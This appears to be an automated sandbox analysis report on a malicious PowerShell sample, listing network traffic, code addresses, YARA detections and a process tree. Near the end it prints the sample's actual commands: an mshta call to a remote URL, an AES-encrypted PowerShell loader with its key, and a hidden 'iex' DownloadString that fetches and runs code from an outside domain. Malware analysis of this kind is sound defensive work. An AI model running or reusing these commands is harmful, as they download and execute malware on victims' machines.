Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866

Source: unknown	HTTPS traffic detected: 104.21.38.253:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.4:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.4:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.4:49831 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.4:49837 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.4:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.4:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.4:49860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.4:49866 version: TLS 1.2

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 12_2_004329C0 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

12_2_004329C0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 12_2_004329C0 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

12_2_004329C0

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: powershell.exe PID: 2996, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7176, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077D92B0 NtResumeThread,		6_2_077D92B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077D92A8 NtResumeThread,		6_2_077D92A8

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B123E05	4_2_00007FFD9B123E05
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_031723A8	6_2_031723A8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_0317D088	6_2_0317D088
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_0317371F	6_2_0317371F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_03173720	6_2_03173720
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_0317F9B0	6_2_0317F9B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_04D7B580	6_2_04D7B580
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_075D67A3	6_2_075D67A3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077BB198	6_2_077BB198
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077CE570	6_2_077CE570
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077C39C0	6_2_077C39C0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077C1180	6_2_077C1180
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077C14AD	6_2_077C14AD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077C1270	6_2_077C1270
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077CCA04	6_2_077CCA04
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077C5AE8	6_2_077C5AE8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077C5AD8	6_2_077C5AD8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077C1170	6_2_077C1170
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077D0040	6_2_077D0040
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077D3F18	6_2_077D3F18
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077D3F0B	6_2_077D3F0B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077D63A8	6_2_077D63A8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077D6397	6_2_077D6397
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077D4D38	6_2_077D4D38
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077D4D28	6_2_077D4D28
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077D011D	6_2_077D011D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077D01B6	6_2_077D01B6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077D7020	6_2_077D7020
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077D7011	6_2_077D7011
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077D0007	6_2_077D0007
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077E62F3	6_2_077E62F3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077E3750	6_2_077E3750
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077E3740	6_2_077E3740
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077E86A0	6_2_077E86A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077E868F	6_2_077E868F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077EB548	6_2_077EB548
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077EB5A0	6_2_077EB5A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077E498E	6_2_077E498E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077EA46F	6_2_077EA46F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077E0040	6_2_077E0040
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077E0007	6_2_077E0007
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077EA480	6_2_077EA480
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00408850	12_2_00408850
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00423860	12_2_00423860
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_004218A0	12_2_004218A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_0042DA53	12_2_0042DA53
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00437DF0	12_2_00437DF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_004096C1	12_2_004096C1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_004266D0	12_2_004266D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00415799	12_2_00415799
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00438810	12_2_00438810
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_0041682D	12_2_0041682D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_004288CB	12_2_004288CB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_0043D880	12_2_0043D880
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00430940	12_2_00430940
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00403970	12_2_00403970
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00420939	12_2_00420939
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_004179C1	12_2_004179C1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_004231C2	12_2_004231C2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_004241C0	12_2_004241C0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_0043B1D0	12_2_0043B1D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_004291DD	12_2_004291DD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_0043D980	12_2_0043D980
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00405990	12_2_00405990
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00422190	12_2_00422190
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_0043D997	12_2_0043D997
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_0043D999	12_2_0043D999
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_004091B0	12_2_004091B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00416263	12_2_00416263
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_0040EA10	12_2_0040EA10
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00415220	12_2_00415220
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_004252DD	12_2_004252DD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_0041B2E0	12_2_0041B2E0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00406280	12_2_00406280
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_0043DA80	12_2_0043DA80
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_0041E290	12_2_0041E290
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_0041CB40	12_2_0041CB40
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_0043D34D	12_2_0043D34D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00426B50	12_2_00426B50
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_0043DB60	12_2_0043DB60
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00436B08	12_2_00436B08
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_0042830D	12_2_0042830D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00404320	12_2_00404320
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00425327	12_2_00425327
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00408330	12_2_00408330
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_0043F330	12_2_0043F330
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_0042A33F	12_2_0042A33F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_0040DBD9	12_2_0040DBD9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00424380	12_2_00424380
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_0041FC75	12_2_0041FC75
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_0041DC00	12_2_0041DC00
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00429C2B	12_2_00429C2B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_004291DD	12_2_004291DD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_004074F0	12_2_004074F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_0040ACF0	12_2_0040ACF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_0041148F	12_2_0041148F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_0042AC90	12_2_0042AC90
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_0043ECA0	12_2_0043ECA0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_0040CD46	12_2_0040CD46
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00437500	12_2_00437500
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00422510	12_2_00422510
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00417DEE	12_2_00417DEE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00409580	12_2_00409580
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_0041759F	12_2_0041759F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00425E70	12_2_00425E70
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00436E74	12_2_00436E74
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00427603	12_2_00427603
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00425E30	12_2_00425E30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_004286C0	12_2_004286C0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_0043AEC0	12_2_0043AEC0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_004236E2	12_2_004236E2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00405EE0	12_2_00405EE0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_0041DE80	12_2_0041DE80
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00402F50	12_2_00402F50
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00420F50	12_2_00420F50
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00438F59	12_2_00438F59
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00406710	12_2_00406710
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00423F20	12_2_00423F20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_0043F720	12_2_0043F720
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00419F30	12_2_00419F30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_0041E7C0	12_2_0041E7C0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_004197C2	12_2_004197C2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_0042DFE9	12_2_0042DFE9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_0040A780	12_2_0040A780
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00411F90	12_2_00411F90
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00418792	12_2_00418792
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_0043EFB0	12_2_0043EFB0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: String function: 00408030 appears 42 times
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: String function: 00414400 appears 65 times

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: Process Memory Space: powershell.exe PID: 2996, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7176, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.troj.spyw.evad.winPS1@13/16@3/4

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 12_2_00437DF0 CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

12_2_00437DF0

Source: C:\Windows\System32\mshta.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7184:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5812:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1908:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: \Sessions\1\BaseNamedObjects\Lpcxeb

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e1pizog1.dzn.ps1

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\00000.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" https://scrutinycheck.cash/singl7.mp4
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function eSNNy($MAvcZ){return -split ($MAvcZ -replace '..', '0x$& ')};$lqmB = eSNNy('5C3F827BAC65B5D2C8965D0BBCE1ED07B9B6786A8751F026D08EFD0A825F531A8D091C0ECDD11B3934B46C626B865735BAB41B512BE15DE11F5E12515F7078B31EE8399C0E805B1F986B48CD1FE4A4708FA30B93CA4F7E812CA54A8793D62D3598E2B95AF0842B9C9750010609AF477848F4D131B954661400575166055C03EF1B5DE596CF55C542063D3F91CE19CE97925E58F6C32246A890129F4332D50885100C3526774D0074EEC5D7A612D64456E89E2AAD35E8F4DCB634817B8F6E0AC4FA605341C50069355F250ADB57D33D199E78EDCF80294758E47CB522EDFFFE73CC1B919EF16AF41E32F5B6A9BF909AE30CEB1071E2D14015FB77F6298FF2B02FEBA7B2BEE205F03CF88FF6F6BEBEEC0309A6D27D56500B79ADD62DD9D50A9590F07C9425FF02C2062F0E3444952489CE539FE357B044D8F72560487A102CC157F9E4E5B39D9C8DEF45655607C7A2FDB595ECBD612595FE995C4B043F8955A8F51FB018D2638C4F3A04E4CE1F6F77607E28264761F8517127E32F9F8D159565861F352D53ED7157874F263F52A7E1025A408CACC8B208E7F7776300701055FD3D6C30CA49783C822471E5B37491DA64E22ECA5ACEAE2C26465A1465F8774B5536298C89DBC028CD0AE43DBABB7B1179BD528CA17B1C6D0B390408ECE7927FEAA32EA4FAF5B6249A55C0BB8FCE630BBE9577950A1C82CEB3F5B1CC3B4D16D0DD85009C2C1593600E9AD124BD3E71F96E9ECC581D41A94B73C3A20BF4550FA7E08728A080D7A6A09FF218A0A37CDF4EF3F6A50CCC9DDEE0D24287949B372601CA8769A11092428566941E5E81DC734A344A92E5B54939A7B808EA27414A69BECE50356ADA32AF76C66A7EED81FF79A3208EA6CA1E28D54700AB34FB6270B5B4EC13DA50EBF0B9BBAB023861142203272D6112A5A6D9726B68EF794031846478BC822C4C0391F73AD6DD169DCDF33D909E115BCFB9021A0D74ABB583032AC14EDAF563EB221F82DBE70815740F8F4F65B3993B4805F2F8DED176EF03650D5BA2D74E1919BECB701A86B2332083BFBE1C6D8903AB78E68721C77F780C3596EDC51E77');$jAMAa=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((eSNNy('49446F52676D7356434761614A6E6878')),[byte[]]::new(16)).TransformFinalBlock($lqmB,0,$lqmB.Length)); & $jAMAa.Substring(0,3) $jAMAa.Substring(129)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://dma.sportstalk-musiclover.com/singl7.pst'))"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" https://scrutinycheck.cash/singl7.mp4	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function eSNNy($MAvcZ){return -split ($MAvcZ -replace '..', '0x$& ')};$lqmB = eSNNy('5C3F827BAC65B5D2C8965D0BBCE1ED07B9B6786A8751F026D08EFD0A825F531A8D091C0ECDD11B3934B46C626B865735BAB41B512BE15DE11F5E12515F7078B31EE8399C0E805B1F986B48CD1FE4A4708FA30B93CA4F7E812CA54A8793D62D3598E2B95AF0842B9C9750010609AF477848F4D131B954661400575166055C03EF1B5DE596CF55C542063D3F91CE19CE97925E58F6C32246A890129F4332D50885100C3526774D0074EEC5D7A612D64456E89E2AAD35E8F4DCB634817B8F6E0AC4FA605341C50069355F250ADB57D33D199E78EDCF80294758E47CB522EDFFFE73CC1B919EF16AF41E32F5B6A9BF909AE30CEB1071E2D14015FB77F6298FF2B02FEBA7B2BEE205F03CF88FF6F6BEBEEC0309A6D27D56500B79ADD62DD9D50A9590F07C9425FF02C2062F0E3444952489CE539FE357B044D8F72560487A102CC157F9E4E5B39D9C8DEF45655607C7A2FDB595ECBD612595FE995C4B043F8955A8F51FB018D2638C4F3A04E4CE1F6F77607E28264761F8517127E32F9F8D159565861F352D53ED7157874F263F52A7E1025A408CACC8B208E7F7776300701055FD3D6C30CA49783C822471E5B37491DA64E22ECA5ACEAE2C26465A1465F8774B5536298C89DBC028CD0AE43DBABB7B1179BD528CA17B1C6D0B390408ECE7927FEAA32EA4FAF5B6249A55C0BB8FCE630BBE9577950A1C82CEB3F5B1CC3B4D16D0DD85009C2C1593600E9AD124BD3E71F96E9ECC581D41A94B73C3A20BF4550FA7E08728A080D7A6A09FF218A0A37CDF4EF3F6A50CCC9DDEE0D24287949B372601CA8769A11092428566941E5E81DC734A344A92E5B54939A7B808EA27414A69BECE50356ADA32AF76C66A7EED81FF79A3208EA6CA1E28D54700AB34FB6270B5B4EC13DA50EBF0B9BBAB023861142203272D6112A5A6D9726B68EF794031846478BC822C4C0391F73AD6DD169DCDF33D909E115BCFB9021A0D74ABB583032AC14EDAF563EB221F82DBE70815740F8F4F65B3993B4805F2F8DED176EF03650D5BA2D74E1919BECB701A86B2332083BFBE1C6D8903AB78E68721C77F780C3596EDC51E77');$jAMAa=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((eSNNy('49446F52676D7356434761614A6E6878')),[byte[]]::new(16)).TransformFinalBlock($lqmB,0,$lqmB.Length)); & $jAMAa.Substring(0,3) $jAMAa.Substring(129)	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://dma.sportstalk-musiclover.com/singl7.pst'))"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior

